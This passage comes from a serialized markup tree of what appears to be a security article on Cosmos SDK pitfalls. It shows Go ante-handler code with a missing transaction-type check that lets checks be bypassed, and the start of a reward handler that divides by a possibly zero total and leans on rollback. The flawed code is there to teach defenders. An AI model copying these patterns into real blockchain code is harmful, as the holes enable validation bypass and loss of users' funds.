Recover",{"type":24,"tag":271,"props":86948,"children":86949},{"style":288},[86950],{"type":29,"value":606},{"type":24,"tag":271,"props":86952,"children":86953},{"style":630},[86954],{"type":29,"value":633},{"type":24,"tag":271,"props":86956,"children":86957},{"style":288},[86958],{"type":29,"value":41},{"type":24,"tag":271,"props":86960,"children":86961},{"style":598},[86962],{"type":29,"value":86963},"Logger",{"type":24,"tag":271,"props":86965,"children":86966},{"style":288},[86967],{"type":29,"value":26067},{"type":24,"tag":271,"props":86969,"children":86970},{"style":624},[86971],{"type":29,"value":1137},{"type":24,"tag":271,"props":86973,"children":86974},{"style":630},[86975],{"type":29,"value":56085},{"type":24,"tag":271,"props":86977,"children":86978},{"style":288},[86979],{"type":29,"value":694},{"type":24,"tag":271,"props":86981,"children":86982},{"class":273,"line":402},[86983],{"type":24,"tag":271,"props":86984,"children":86985},{"emptyLinePlaceholder":16},[86986],{"type":29,"value":327},{"type":24,"tag":271,"props":86988,"children":86989},{"class":273,"line":411},[86990,86995,86999,87003,87007,87011,87015,87020,87024,87029],{"type":24,"tag":271,"props":86991,"children":86992},{"style":630},[86993],{"type":29,"value":86994}," txWithExtensions",{"type":24,"tag":271,"props":86996,"children":86997},{"style":288},[86998],{"type":29,"value":158},{"type":24,"tag":271,"props":87000,"children":87001},{"style":630},[87002],{"type":29,"value":85557},{"type":24,"tag":271,"props":87004,"children":87005},{"style":624},[87006],{"type":29,"value":83206},{"type":24,"tag":271,"props":87008,"children":87009},{"style":630},[87010],{"type":29,"value":74815},{"type":24,"tag":271,"props":87012,"children":87013},{"style":288},[87014],{"type":29,"value":85570},{"type":24,"tag":271,"props":87016,"children":87017},{"style":3887},[87018],{"type":29,"value":87019},"authante",{"type":24,"tag":271,"props":87021,"children":87022},{"style":288},[87023],{"type":29,"value":41},{"type":24,"tag":271,"props":87025,"children":87026},{"style":3887},[87027],{"type":29,"value":87028},"HasExtensionOptionsTx",{"type":24,"tag":271,"props":87030,"children":87031},{"style":288},[87032],{"type":29,"value":694},{"type":24,"tag":271,"props":87034,"children":87035},{"class":273,"line":420},[87036,87040,87045],{"type":24,"tag":271,"props":87037,"children":87038},{"style":749},[87039],{"type":29,"value":7512},{"type":24,"tag":271,"props":87041,"children":87042},{"style":630},[87043],{"type":29,"value":87044}," ok",{"type":24,"tag":271,"props":87046,"children":87047},{"style":288},[87048],{"type":29,"value":7145},{"type":24,"tag":271,"props":87050,"children":87051},{"class":273,"line":429},[87052,87057,87061,87066,87070,87075],{"type":24,"tag":271,"props":87053,"children":87054},{"style":630},[87055],{"type":29,"value":87056}," opts",{"type":24,"tag":271,"props":87058,"children":87059},{"style":624},[87060],{"type":29,"value":83206},{"type":24,"tag":271,"props":87062,"children":87063},{"style":630},[87064],{"type":29,"value":87065}," txWithExtensions",{"type":24,"tag":271,"props":87067,"children":87068},{"style":288},[87069],{"type":29,"value":41},{"type":24,"tag":271,"props":87071,"children":87072},{"style":598},[87073],{"type":29,"value":87074},"GetExtensionOptions",{"type":24,"tag":271,"props":87076,"children":87077},{"style":288},[87078],{"type":29,"value":15452},{"type":24,"tag":271,"props":87080,"children":87081},{"class":273,"line":438},[87082,87086,87090,87094,87098,87102,87106,87110],{"type":24,"tag":271,"props":87083,"children":87084},{"style":749},[87085],{"type":29,"value":8468},{"type":24,"tag":271,"props":87087,"children":87088},{"style":598},[87089],{"type":29,"value":16273},{"type":24,"tag":271,"props":87091,"children":87092},{"style":288},[87093],{"type":29,"value":606},{"type":24,"tag":271,"props":87095,"children":87096},{"style":630},[87097],{"type":29,"value":56227},{"type":24,"tag":271,"props":87099,"children":87100},{"style":288},[87101],{"type":29,"value":8823},{"type":24,"tag":271,"props":87103,"children":87104},{"style":624},[87105],{"type":29,"value":18165},{"type":24,"tag":271,"props":87107,"children":87108},{"style":477},[87109],{"type":29,"value":767},{"type":24,"tag":271,"props":87111,"children":87112},{"style":288},[87113],{"type":29,"value":7145},{"type":24,"tag":271,"props":87115,"children":87116},{"class":273,"line":447},[87117,87122,87127,87131,87136,87140,87144,87148,87153,87157,87162],{"type":24,"tag":271,"props":87118,"children":87119},{"style":749},[87120],{"type":29,"value":87121}," switch",{"type":24,"tag":271,"props":87123,"children":87124},{"style":630},[87125],{"type":29,"value":87126}," typeURL",{"type":24,"tag":271,"props":87128,"children":87129},{"style":624},[87130],{"type":29,"value":83206},{"type":24,"tag":271,"props":87132,"children":87133},{"style":630},[87134],{"type":29,"value":87135}," opts",{"type":24,"tag":271,"props":87137,"children":87138},{"style":288},[87139],{"type":29,"value":4520},{"type":24,"tag":271,"props":87141,"children":87142},{"style":477},[87143],{"type":29,"value":4121},{"type":24,"tag":271,"props":87145,"children":87146},{"style":288},[87147],{"type":29,"value":1021},{"type":24,"tag":271,"props":87149,"children":87150},{"style":598},[87151],{"type":29,"value":87152},"GetTypeUrl",{"type":24,"tag":271,"props":87154,"children":87155},{"style":288},[87156],{"type":29,"value":36125},{"type":24,"tag":271,"props":87158,"children":87159},{"style":630},[87160],{"type":29,"value":87161},"typeURL",{"type":24,"tag":271,"props":87163,"children":87164},{"style":288},[87165],{"type":29,"value":7145},{"type":24,"tag":271,"props":87167,"children":87168},{"class":273,"line":455},[87169,87174,87179],{"type":24,"tag":271,"props":87170,"children":87171},{"style":749},[87172],{"type":29,"value":87173}," case",{"type":24,"tag":271,"props":87175,"children":87176},{"style":378},[87177],{"type":29,"value":87178}," \"/ethermint.evm.v1.ExtensionOptionsEthereumTx\"",{"type":24,"tag":271,"props":87180,"children":87181},{"style":288},[87182],{"type":29,"value":13286},{"type":24,"tag":271,"props":87184,"children":87185},{"class":273,"line":464},[87186],{"type":24,"tag":271,"props":87187,"children":87188},{"style":2058},[87189],{"type":29,"value":87190}," // handle as *evmtypes.MsgEthereumTx\n",{"type":24,"tag":271,"props":87192,"children":87193},{"class":273,"line":473},[87194],{"type":24,"tag":271,"props":87195,"children":87196},{"emptyLinePlaceholder":16},[87197],{"type":29,"value":327},{"type":24,"tag":271,"props":87199,"children":87200},{"class":273,"line":483},[87201,87206,87210,87214,87218,87223],{"type":24,"tag":271,"props":87202,"children":87203},{"style":630},[87204],{"type":29,"value":87205}," anteHandler",{"type":24,"tag":271,"props":87207,"children":87208},{"style":624},[87209],{"type":29,"value":1712},{"type":24,"tag":271,"props":87211,"children":87212},{"style":630},[87213],{"type":29,"value":85431},{"type":24,"tag":271,"props":87215,"children":87216},{"style":288},[87217],{"type":29,"value":41},{"type":24,"tag":271,"props":87219,"children":87220},{"style":598},[87221],{"type":29,"value":87222},"ChainAnteDecorators",{"type":24,"tag":271,"props":87224,"children":87225},{"style":288},[87226],{"type":29,"value":4028},{"type":24,"tag":271,"props":87228,"children":87229},{"class":273,"line":491},[87230,87235,87239],{"type":24,"tag":271,"props":87231,"children":87232},{"style":598},[87233],{"type":29,"value":87234}," NewEthSetUpContextDecorator",{"type":24,"tag":271,"props":87236,"children":87237},{"style":288},[87238],{"type":29,"value":26067},{"type":24,"tag":271,"props":87240,"children":87241},{"style":2058},[87242],{"type":29,"value":86085},{"type":24,"tag":271,"props":87244,"children":87245},{"class":273,"line":499},[87246],{"type":24,"tag":271,"props":87247,"children":87248},{"style":624},[87249],{"type":29,"value":87250}," ...\n",{"type":24,"tag":271,"props":87252,"children":87253},{"class":273,"line":3188},[87254,87259,87263,87268,87272],{"type":24,"tag":271,"props":87255,"children":87256},{"style":598},[87257],{"type":29,"value":87258}," NewEthIncrementSenderSequenceDecorator",{"type":24,"tag":271,"props":87260,"children":87261},{"style":288},[87262],{"type":29,"value":606},{"type":24,"tag":271,"props":87264,"children":87265},{"style":630},[87266],{"type":29,"value":87267},"ak",{"type":24,"tag":271,"props":87269,"children":87270},{"style":288},[87271],{"type":29,"value":22874},{"type":24,"tag":271,"props":87273,"children":87274},{"style":2058},[87275],{"type":29,"value":87276},"// innermost AnteDecorator.\n",{"type":24,"tag":271,"props":87278,"children":87279},{"class":273,"line":3247},[87280],{"type":24,"tag":271,"props":87281,"children":87282},{"style":288},[87283],{"type":29,"value":87284}," )\n",{"type":24,"tag":271,"props":87286,"children":87287},{"class":273,"line":3255},[87288],{"type":24,"tag":271,"props":87289,"children":87290},{"emptyLinePlaceholder":16},[87291],{"type":29,"value":327},{"type":24,"tag":271,"props":87293,"children":87294},{"class":273,"line":3263},[87295,87300],{"type":24,"tag":271,"props":87296,"children":87297},{"style":749},[87298],{"type":29,"value":87299}," default",{"type":24,"tag":271,"props":87301,"children":87302},{"style":288},[87303],{"type":29,"value":13286},{"type":24,"tag":271,"props":87305,"children":87306},{"class":273,"line":3293},[87307,87312,87316,87320,87325,87329,87334],{"type":24,"tag":271,"props":87308,"children":87309},{"style":749},[87310],{"type":29,"value":87311}," return",{"type":24,"tag":271,"props":87313,"children":87314},{"style":630},[87315],{"type":29,"value":33519},{"type":24,"tag":271,"props":87317,"children":87318},{"style":288},[87319],{"type":29,"value":158},{"type":24,"tag":271,"props":87321,"children":87322},{"style":630},[87323],{"type":29,"value":87324},"stacktrace",{"type":24,"tag":271,"props":87326,"children":87327},{"style":288},[87328],{"type":29,"value":41},{"type":24,"tag":271,"props":87330,"children":87331},{"style":598},[87332],{"type":29,"value":87333},"Propagate",{"type":24,"tag":271,"props":87335,"children":87336},{"style":288},[87337],{"type":29,"value":4028},{"type":24,"tag":271,"props":87339,"children":87340},{"class":273,"line":3301},[87341,87346,87350,87354,87358,87363,87367,87372,87376,87380],{"type":24,"tag":271,"props":87342,"children":87343},{"style":630},[87344],{"type":29,"value":87345}," sdkerrors",{"type":24,"tag":271,"props":87347,"children":87348},{"style":288},[87349],{"type":29,"value":41},{"type":24,"tag":271,"props":87351,"children":87352},{"style":598},[87353],{"type":29,"value":85636},{"type":24,"tag":271,"props":87355,"children":87356},{"style":288},[87357],{"type":29,"value":606},{"type":24,"tag":271,"props":87359,"children":87360},{"style":630},[87361],{"type":29,"value":87362},"sdkerrors",{"type":24,"tag":271,"props":87364,"children":87365},{"style":288},[87366],{"type":29,"value":41},{"type":24,"tag":271,"props":87368,"children":87369},{"style":630},[87370],{"type":29,"value":87371},"ErrUnknownExtensionOptions",{"type":24,"tag":271,"props":87373,"children":87374},{"style":288},[87375],{"type":29,"value":158},{"type":24,"tag":271,"props":87377,"children":87378},{"style":630},[87379],{"type":29,"value":87161},{"type":24,"tag":271,"props":87381,"children":87382},{"style":288},[87383],{"type":29,"value":14453},{"type":24,"tag":271,"props":87385,"children":87386},{"class":273,"line":3683},[87387,87392],{"type":24,"tag":271,"props":87388,"children":87389},{"style":378},[87390],{"type":29,"value":87391}," \"rejecting tx with unsupported extension option\"",{"type":24,"tag":271,"props":87393,"children":87394},{"style":288},[87395],{"type":29,"value":638},{"type":24,"tag":271,"props":87397,"children":87398},{"class":273,"line":4486},[87399],{"type":24,"tag":271,"props":87400,"children":87401},{"style":288},[87402],{"type":29,"value":87284},{"type":24,"tag":271,"props":87404,"children":87405},{"class":273,"line":4509},[87406],{"type":24,"tag":271,"props":87407,"children":87408},{"style":288},[87409],{"type":29,"value":77859},{"type":24,"tag":271,"props":87411,"children":87412},{"class":273,"line":4545},[87413],{"type":24,"tag":271,"props":87414,"children":87415},{"emptyLinePlaceholder":16},[87416],{"type":29,"value":327},{"type":24,"tag":271,"props":87418,"children":87419},{"class":273,"line":4591},[87420,87424,87428,87432,87436,87440,87444,87448,87452],{"type":24,"tag":271,"props":87421,"children":87422},{"style":749},[87423],{"type":29,"value":10408},{"type":24,"tag":271,"props":87425,"children":87426},{"style":598},[87427],{"type":29,"value":86913},{"type":24,"tag":271,"props":87429,"children":87430},{"style":288},[87431],{"type":29,"value":606},{"type":24,"tag":271,"props":87433,"children":87434},{"style":630},[87435],{"type":29,"value":633},{"type":24,"tag":271,"props":87437,"children":87438},{"style":288},[87439],{"type":29,"value":158},{"type":24,"tag":271,"props":87441,"children":87442},{"style":630},[87443],{"type":29,"value":85971},{"type":24,"tag":271,"props":87445,"children":87446},{"style":288},[87447],{"type":29,"value":158},{"type":24,"tag":271,"props":87449,"children":87450},{"style":630},[87451],{"type":29,"value":86851},{"type":24,"tag":271,"props":87453,"children":87454},{"style":288},[87455],{"type":29,"value":694},{"type":24,"tag":271,"props":87457,"children":87458},{"class":273,"line":4628},[87459],{"type":24,"tag":271,"props":87460,"children":87461},{"style":288},[87462],{"type":29,"value":8554},{"type":24,"tag":271,"props":87464,"children":87465},{"class":273,"line":4658},[87466],{"type":24,"tag":271,"props":87467,"children":87468},{"style":288},[87469],{"type":29,"value":7574},{"type":24,"tag":271,"props":87471,"children":87472},{"class":273,"line":4666},[87473],{"type":24,"tag":271,"props":87474,"children":87475},{"emptyLinePlaceholder":16},[87476],{"type":29,"value":327},{"type":24,"tag":271,"props":87478,"children":87479},{"class":273,"line":4674},[87480],{"type":24,"tag":271,"props":87481,"children":87482},{"style":2058},[87483],{"type":29,"value":87484}," // SHOULD CHECK TX IS NOT MsgEthereumTx HERE\n",{"type":24,"tag":271,"props":87486,"children":87487},{"class":273,"line":4683},[87488],{"type":24,"tag":271,"props":87489,"children":87490},{"emptyLinePlaceholder":16},[87491],{"type":29,"value":327},{"type":24,"tag":271,"props":87493,"children":87494},{"class":273,"line":4691},[87495,87500,87504,87508,87512],{"type":24,"tag":271,"props":87496,"children":87497},{"style":749},[87498],{"type":29,"value":87499}," switch",{"type":24,"tag":271,"props":87501,"children":87502},{"style":630},[87503],{"type":29,"value":74815},{"type":24,"tag":271,"props":87505,"children":87506},{"style":288},[87507],{"type":29,"value":85570},{"type":24,"tag":271,"props":87509,"children":87510},{"style":278},[87511],{"type":29,"value":40427},{"type":24,"tag":271,"props":87513,"children":87514},{"style":288},[87515],{"type":29,"value":919},{"type":24,"tag":271,"props":87517,"children":87518},{"class":273,"line":4708},[87519,87524,87528,87532,87536],{"type":24,"tag":271,"props":87520,"children":87521},{"style":749},[87522],{"type":29,"value":87523}," case",{"type":24,"tag":271,"props":87525,"children":87526},{"style":3887},[87527],{"type":29,"value":85431},{"type":24,"tag":271,"props":87529,"children":87530},{"style":288},[87531],{"type":29,"value":41},{"type":24,"tag":271,"props":87533,"children":87534},{"style":3887},[87535],{"type":29,"value":85464},{"type":24,"tag":271,"props":87537,"children":87538},{"style":288},[87539],{"type":29,"value":13286},{"type":24,"tag":271,"props":87541,"children":87542},{"class":273,"line":4716},[87543,87548,87552,87556,87560,87564],{"type":24,"tag":271,"props":87544,"children":87545},{"style":630},[87546],{"type":29,"value":87547}," anteHandler",{"type":24,"tag":271,"props":87549,"children":87550},{"style":624},[87551],{"type":29,"value":1712},{"type":24,"tag":271,"props":87553,"children":87554},{"style":630},[87555],{"type":29,"value":85431},{"type":24,"tag":271,"props":87557,"children":87558},{"style":288},[87559],{"type":29,"value":41},{"type":24,"tag":271,"props":87561,"children":87562},{"style":598},[87563],{"type":29,"value":87222},{"type":24,"tag":271,"props":87565,"children":87566},{"style":288},[87567],{"type":29,"value":4028},{"type":24,"tag":271,"props":87569,"children":87570},{"class":273,"line":10423},[87571,87576,87580,87585,87589],{"type":24,"tag":271,"props":87572,"children":87573},{"style":630},[87574],{"type":29,"value":87575}," authante",{"type":24,"tag":271,"props":87577,"children":87578},{"style":288},[87579],{"type":29,"value":41},{"type":24,"tag":271,"props":87581,"children":87582},{"style":598},[87583],{"type":29,"value":87584},"NewSetUpContextDecorator",{"type":24,"tag":271,"props":87586,"children":87587},{"style":288},[87588],{"type":29,"value":26067},{"type":24,"tag":271,"props":87590,"children":87591},{"style":2058},[87592],{"type":29,"value":86085},{"type":24,"tag":271,"props":87594,"children":87595},{"class":273,"line":10431},[87596],{"type":24,"tag":271,"props":87597,"children":87598},{"style":624},[87599],{"type":29,"value":87600}," ...\n",{"type":24,"tag":271,"props":87602,"children":87603},{"class":273,"line":10439},[87604,87608,87612,87617,87621,87625,87629],{"type":24,"tag":271,"props":87605,"children":87606},{"style":630},[87607],{"type":29,"value":87575},{"type":24,"tag":271,"props":87609,"children":87610},{"style":288},[87611],{"type":29,"value":41},{"type":24,"tag":271,"props":87613,"children":87614},{"style":598},[87615],{"type":29,"value":87616},"NewIncrementSequenceDecorator",{"type":24,"tag":271,"props":87618,"children":87619},{"style":288},[87620],{"type":29,"value":606},{"type":24,"tag":271,"props":87622,"children":87623},{"style":630},[87624],{"type":29,"value":87267},{"type":24,"tag":271,"props":87626,"children":87627},{"style":288},[87628],{"type":29,"value":22874},{"type":24,"tag":271,"props":87630,"children":87631},{"style":2058},[87632],{"type":29,"value":87633},"// innermost AnteDecorator\n",{"type":24,"tag":271,"props":87635,"children":87636},{"class":273,"line":10447},[87637],{"type":24,"tag":271,"props":87638,"children":87639},{"style":288},[87640],{"type":29,"value":84305},{"type":24,"tag":271,"props":87642,"children":87643},{"class":273,"line":10468},[87644,87649],{"type":24,"tag":271,"props":87645,"children":87646},{"style":749},[87647],{"type":29,"value":87648}," default",{"type":24,"tag":271,"props":87650,"children":87651},{"style":288},[87652],{"type":29,"value":13286},{"type":24,"tag":271,"props":87654,"children":87655},{"class":273,"line":39951},[87656,87660,87664,87668,87672,87676,87680],{"type":24,"tag":271,"props":87657,"children":87658},{"style":749},[87659],{"type":29,"value":85866},{"type":24,"tag":271,"props":87661,"children":87662},{"style":630},[87663],{"type":29,"value":33519},{"type":24,"tag":271,"props":87665,"children":87666},{"style":288},[87667],{"type":29,"value":158},{"type":24,"tag":271,"props":87669,"children":87670},{"style":630},[87671],{"type":29,"value":87324},{"type":24,"tag":271,"props":87673,"children":87674},{"style":288},[87675],{"type":29,"value":41},{"type":24,"tag":271,"props":87677,"children":87678},{"style":598},[87679],{"type":29,"value":87333},{"type":24,"tag":271,"props":87681,"children":87682},{"style":288},[87683],{"type":29,"value":4028},{"type":24,"tag":271,"props":87685,"children":87686},{"class":273,"line":39972},[87687,87692,87696,87701,87705,87709,87713,87718,87722,87727,87731,87735],{"type":24,"tag":271,"props":87688,"children":87689},{"style":630},[87690],{"type":29,"value":87691}," sdkerrors",{"type":24,"tag":271,"props":87693,"children":87694},{"style":288},[87695],{"type":29,"value":41},{"type":24,"tag":271,"props":87697,"children":87698},{"style":598},[87699],{"type":29,"value":87700},"Wrapf",{"type":24,"tag":271,"props":87702,"children":87703},{"style":288},[87704],{"type":29,"value":606},{"type":24,"tag":271,"props":87706,"children":87707},{"style":630},[87708],{"type":29,"value":87362},{"type":24,"tag":271,"props":87710,"children":87711},{"style":288},[87712],{"type":29,"value":41},{"type":24,"tag":271,"props":87714,"children":87715},{"style":630},[87716],{"type":29,"value":87717},"ErrUnknownRequest",{"type":24,"tag":271,"props":87719,"children":87720},{"style":288},[87721],{"type":29,"value":158},{"type":24,"tag":271,"props":87723,"children":87724},{"style":378},[87725],{"type":29,"value":87726},"\"invalid transaction type: %T\"",{"type":24,"tag":271,"props":87728,"children":87729},{"style":288},[87730],{"type":29,"value":158},{"type":24,"tag":271,"props":87732,"children":87733},{"style":630},[87734],{"type":29,"value":85971},{"type":24,"tag":271,"props":87736,"children":87737},{"style":288},[87738],{"type":29,"value":14453},{"type":24,"tag":271,"props":87740,"children":87742},{"class":273,"line":87741},53,[87743,87748],{"type":24,"tag":271,"props":87744,"children":87745},{"style":378},[87746],{"type":29,"value":87747}," \"transaction is not an SDK tx\"",{"type":24,"tag":271,"props":87749,"children":87750},{"style":288},[87751],{"type":29,"value":638},{"type":24,"tag":271,"props":87753,"children":87755},{"class":273,"line":87754},54,[87756],{"type":24,"tag":271,"props":87757,"children":87758},{"style":288},[87759],{"type":29,"value":84305},{"type":24,"tag":271,"props":87761,"children":87763},{"class":273,"line":87762},55,[87764],{"type":24,"tag":271,"props":87765,"children":87766},{"style":288},[87767],{"type":29,"value":7574},{"type":24,"tag":271,"props":87769,"children":87771},{"class":273,"line":87770},56,[87772],{"type":24,"tag":271,"props":87773,"children":87774},{"emptyLinePlaceholder":16},[87775],{"type":29,"value":327},{"type":24,"tag":271,"props":87777,"children":87779},{"class":273,"line":87778},57,[87780,87784,87788,87792,87796,87800,87804,87808,87812],{"type":24,"tag":271,"props":87781,"children":87782},{"style":749},[87783],{"type":29,"value":8905},{"type":24,"tag":271,"props":87785,"children":87786},{"style":598},[87787],{"type":29,"value":86913},{"type":24,"tag":271,"props":87789,"children":87790},{"style":288},[87791],{"type":29,"value":606},{"type":24,"tag":271,"props":87793,"children":87794},{"style":630},[87795],{"type":29,"value":633},{"type":24,"tag":271,"props":87797,"children":87798},{"style":288},[87799],{"type":29,"value":158},{"type":24,"tag":271,"props":87801,"children":87802},{"style":630},[87803],{"type":29,"value":85971},{"type":24,"tag":271,"props":87805,"children":87806},{"style":288},[87807],{"type":29,"value":158},{"type":24,"tag":271,"props":87809,"children":87810},{"style":630},[87811],{"type":29,"value":86851},{"type":24,"tag":271,"props":87813,"children":87814},{"style":288},[87815],{"type":29,"value":694},{"type":24,"tag":271,"props":87817,"children":87819},{"class":273,"line":87818},58,[87820],{"type":24,"tag":271,"props":87821,"children":87822},{"style":288},[87823],{"type":29,"value":4385},{"type":24,"tag":271,"props":87825,"children":87827},{"class":273,"line":87826},59,[87828],{"type":24,"tag":271,"props":87829,"children":87830},{"style":288},[87831],{"type":29,"value":1171},{"type":24,"tag":25,"props":87833,"children":87834},{},[87835,87837,87842,87844,87851,87852,87859],{"type":29,"value":87836},"Additional examples of incorrect ",{"type":24,"tag":135,"props":87838,"children":87840},{"className":87839},[],[87841],{"type":29,"value":85260},{"type":29,"value":87843}," usage include ",{"type":24,"tag":32,"props":87845,"children":87848},{"href":87846,"rel":87847},"https://jumpcrypto.com/writing/bypassing-ethermint-ante-handlers",[36],[87849],{"type":29,"value":87850},"yet more bypassable checks and loss of funds",{"type":29,"value":518},{"type":24,"tag":32,"props":87853,"children":87856},{"href":87854,"rel":87855},"https://github.com/cosmos/ibc-go/issues/853",[36],[87857],{"type":29,"value":87858},"incorrect data passing between blockchains",{"type":29,"value":41},{"type":24,"tag":62,"props":87861,"children":87863},{"id":87862},"errors-panics-i-can-handle-it",[87864],{"type":29,"value":87865},"Errors? Panics? I can handle it",{"type":24,"tag":25,"props":87867,"children":87868},{},[87869],{"type":29,"value":87870},"Smart contract developers are used to not properly handling errors. This is acceptable since most underlying blockchains revert all state changes when execution fails.",{"type":24,"tag":25,"props":87872,"children":87873},{},[87874],{"type":29,"value":87875},"Cosmos is designed to provide a similar experience. Whenever some message handler returns an error, changes to the persistent state are dropped. Panics are handled similarly, where a recovery handler is wrapped around the message execution to convert panics into errors for a downstream process.",{"type":24,"tag":25,"props":87877,"children":87878},{},[87879,87881,87887,87889,87894],{"type":29,"value":87880},"This design is pretty neat and allows developers to write code in a rather lazy way. For instance, the following code works perfectly fine. If ",{"type":24,"tag":135,"props":87882,"children":87884},{"className":87883},[],[87885],{"type":29,"value":87886},"k.keeper.TotalReward()",{"type":29,"value":87888}," returns zero, the ",{"type":24,"tag":135,"props":87890,"children":87892},{"className":87891},[],[87893],{"type":29,"value":7604},{"type":29,"value":87895}," execution will simply rollback as if nothing has happened.",{"type":24,"tag":261,"props":87897,"children":87899},{"code":87898,"language":82954,"meta":7,"className":82955,"style":7},"func (k msgServer) AllocateReward(\n goCtx context.Context,\n msg *types.MsgAllocateReward)\n(*types.MsgAllocatRewardResponse, error) {\n\n RewardPerShare := k.keeper.Shares() / k.keeper.TotalReward()\n k.keeper.DistributeReward(RewardPerShare)\n\n return &types.MsgAllocateRewardResponse, nil\n}\n",[87900],{"type":24,"tag":135,"props":87901,"children":87902},{"__ignoreMap":7},[87903,87936,87959,87987,88023,88030,88099,88137,88144,88176],{"type":24,"tag":271,"props":87904,"children":87905},{"class":273,"line":274},[87906,87910,87914,87919,87923,87927,87932],{"type":24,"tag":271,"props":87907,"children":87908},{"style":278},[87909],{"type":29,"value":83090},{"type":24,"tag":271,"props":87911,"children":87912},{"style":288},[87913],{"type":29,"value":1357},{"type":24,"tag":271,"props":87915,"children":87916},{"style":630},[87917],{"type":29,"value":87918},"k ",{"type":24,"tag":271,"props":87920,"children":87921},{"style":3887},[87922],{"type":29,"value":83104},{"type":24,"tag":271,"props":87924,"children":87925},{"style":288},[87926],{"type":29,"value":8823},{"type":24,"tag":271,"props":87928,"children":87929},{"style":598},[87930],{"type":29,"value":87931},"AllocateReward",{"type":24,"tag":271,"props":87933,"children":87934},{"style":288},[87935],{"type":29,"value":4028},{"type":24,"tag":271,"props":87937,"children":87938},{"class":273,"line":284},[87939,87943,87947,87951,87955],{"type":24,"tag":271,"props":87940,"children":87941},{"style":630},[87942],{"type":29,"value":83125},{"type":24,"tag":271,"props":87944,"children":87945},{"style":3887},[87946],{"type":29,"value":83130},{"type":24,"tag":271,"props":87948,"children":87949},{"style":288},[87950],{"type":29,"value":41},{"type":24,"tag":271,"props":87952,"children":87953},{"style":3887},[87954],{"type":29,"value":83139},{"type":24,"tag":271,"props":87956,"children":87957},{"style":288},[87958],{"type":29,"value":638},{"type":24,"tag":271,"props":87960,"children":87961},{"class":273,"line":294},[87962,87966,87970,87974,87978,87983],{"type":24,"tag":271,"props":87963,"children":87964},{"style":630},[87965],{"type":29,"value":83151},{"type":24,"tag":271,"props":87967,"children":87968},{"style":624},[87969],{"type":29,"value":3895},{"type":24,"tag":271,"props":87971,"children":87972},{"style":3887},[87973],{"type":29,"value":13476},{"type":24,"tag":271,"props":87975,"children":87976},{"style":288},[87977],{"type":29,"value":41},{"type":24,"tag":271,"props":87979,"children":87980},{"style":3887},[87981],{"type":29,"value":87982},"MsgAllocateReward",{"type":24,"tag":271,"props":87984,"children":87985},{"style":288},[87986],{"type":29,"value":694},{"type":24,"tag":271,"props":87988,"children":87989},{"class":273,"line":303},[87990,87994,87998,88002,88006,88011,88015,88019],{"type":24,"tag":271,"props":87991,"children":87992},{"style":288},[87993],{"type":29,"value":606},{"type":24,"tag":271,"props":87995,"children":87996},{"style":624},[87997],{"type":29,"value":627},{"type":24,"tag":271,"props":87999,"children":88000},{"style":3887},[88001],{"type":29,"value":13476},{"type":24,"tag":271,"props":88003,"children":88004},{"style":288},[88005],{"type":29,"value":41},{"type":24,"tag":271,"props":88007,"children":88008},{"style":3887},[88009],{"type":29,"value":88010},"MsgAllocatRewardResponse",{"type":24,"tag":271,"props":88012,"children":88013},{"style":288},[88014],{"type":29,"value":158},{"type":24,"tag":271,"props":88016,"children":88017},{"style":3887},[88018],{"type":29,"value":22561},{"type":24,"tag":271,"props":88020,"children":88021},{"style":288},[88022],{"type":29,"value":919},{"type":24,"tag":271,"props":88024,"children":88025},{"class":273,"line":312},[88026],{"type":24,"tag":271,"props":88027,"children":88028},{"emptyLinePlaceholder":16},[88029],{"type":29,"value":327},{"type":24,"tag":271,"props":88031,"children":88032},{"class":273,"line":321},[88033,88038,88042,88047,88051,88056,88060,88065,88069,88073,88078,88082,88086,88090,88095],{"type":24,"tag":271,"props":88034,"children":88035},{"style":630},[88036],{"type":29,"value":88037}," RewardPerShare",{"type":24,"tag":271,"props":88039,"children":88040},{"style":624},[88041],{"type":29,"value":83206},{"type":24,"tag":271,"props":88043,"children":88044},{"style":630},[88045],{"type":29,"value":88046}," k",{"type":24,"tag":271,"props":88048,"children":88049},{"style":288},[88050],{"type":29,"value":41},{"type":24,"tag":271,"props":88052,"children":88053},{"style":630},[88054],{"type":29,"value":88055},"keeper",{"type":24,"tag":271,"props":88057,"children":88058},{"style":288},[88059],{"type":29,"value":41},{"type":24,"tag":271,"props":88061,"children":88062},{"style":598},[88063],{"type":29,"value":88064},"Shares",{"type":24,"tag":271,"props":88066,"children":88067},{"style":288},[88068],{"type":29,"value":21742},{"type":24,"tag":271,"props":88070,"children":88071},{"style":624},[88072],{"type":29,"value":12298},{"type":24,"tag":271,"props":88074,"children":88075},{"style":630},[88076],{"type":29,"value":88077}," k",{"type":24,"tag":271,"props":88079,"children":88080},{"style":288},[88081],{"type":29,"value":41},{"type":24,"tag":271,"props":88083,"children":88084},{"style":630},[88085],{"type":29,"value":88055},{"type":24,"tag":271,"props":88087,"children":88088},{"style":288},[88089],{"type":29,"value":41},{"type":24,"tag":271,"props":88091,"children":88092},{"style":598},[88093],{"type":29,"value":88094},"TotalReward",{"type":24,"tag":271,"props":88096,"children":88097},{"style":288},[88098],{"type":29,"value":15452},{"type":24,"tag":271,"props":88100,"children":88101},{"class":273,"line":330},[88102,88107,88111,88115,88119,88124,88128,88133],{"type":24,"tag":271,"props":88103,"children":88104},{"style":630},[88105],{"type":29,"value":88106}," k",{"type":24,"tag":271,"props":88108,"children":88109},{"style":288},[88110],{"type":29,"value":41},{"type":24,"tag":271,"props":88112,"children":88113},{"style":630},[88114],{"type":29,"value":88055},{"type":24,"tag":271,"props":88116,"children":88117},{"style":288},[88118],{"type":29,"value":41},{"type":24,"tag":271,"props":88120,"children":88121},{"style":598},[88122],{"type":29,"value":88123},"DistributeReward",{"type":24,"tag":271,"props":88125,"children":88126},{"style":288},[88127],{"type":29,"value":606},{"type":24,"tag":271,"props":88129,"children":88130},{"style":630},[88131],{"type":29,"value":88132},"RewardPerShare",{"type":24,"tag":271,"props":88134,"children":88135},{"style":288},[88136],{"type":29,"value":694},{"type":24,"tag":271,"props":88138,"children":88139},{"class":273,"line":339},[88140],{"type":24,"tag":271,"props":88141,"children":88142},{"emptyLinePlaceholder":16},[88143],{"type":29,"value":327},{"type":24,"tag":271,"props":88145,"children":88146},{"class":273,"line":347},[88147,88151,88155,88159,88163,88168,88172],{"type":24,"tag":271,"props":88148,"children":88149},{"style":749},[88150],{"type":29,"value":9640},{"type":24,"tag":271,"props":88152,"children":88153},{"style":624},[88154],{"type":29,"value":14858},{"type":24,"tag":271,"props":88156,"children":88157},{"style":630},[88158],{"type":29,"value":13476},{"type":24,"tag":271,"props":88160,"children":88161},{"style":288},[88162],{"type":29,"val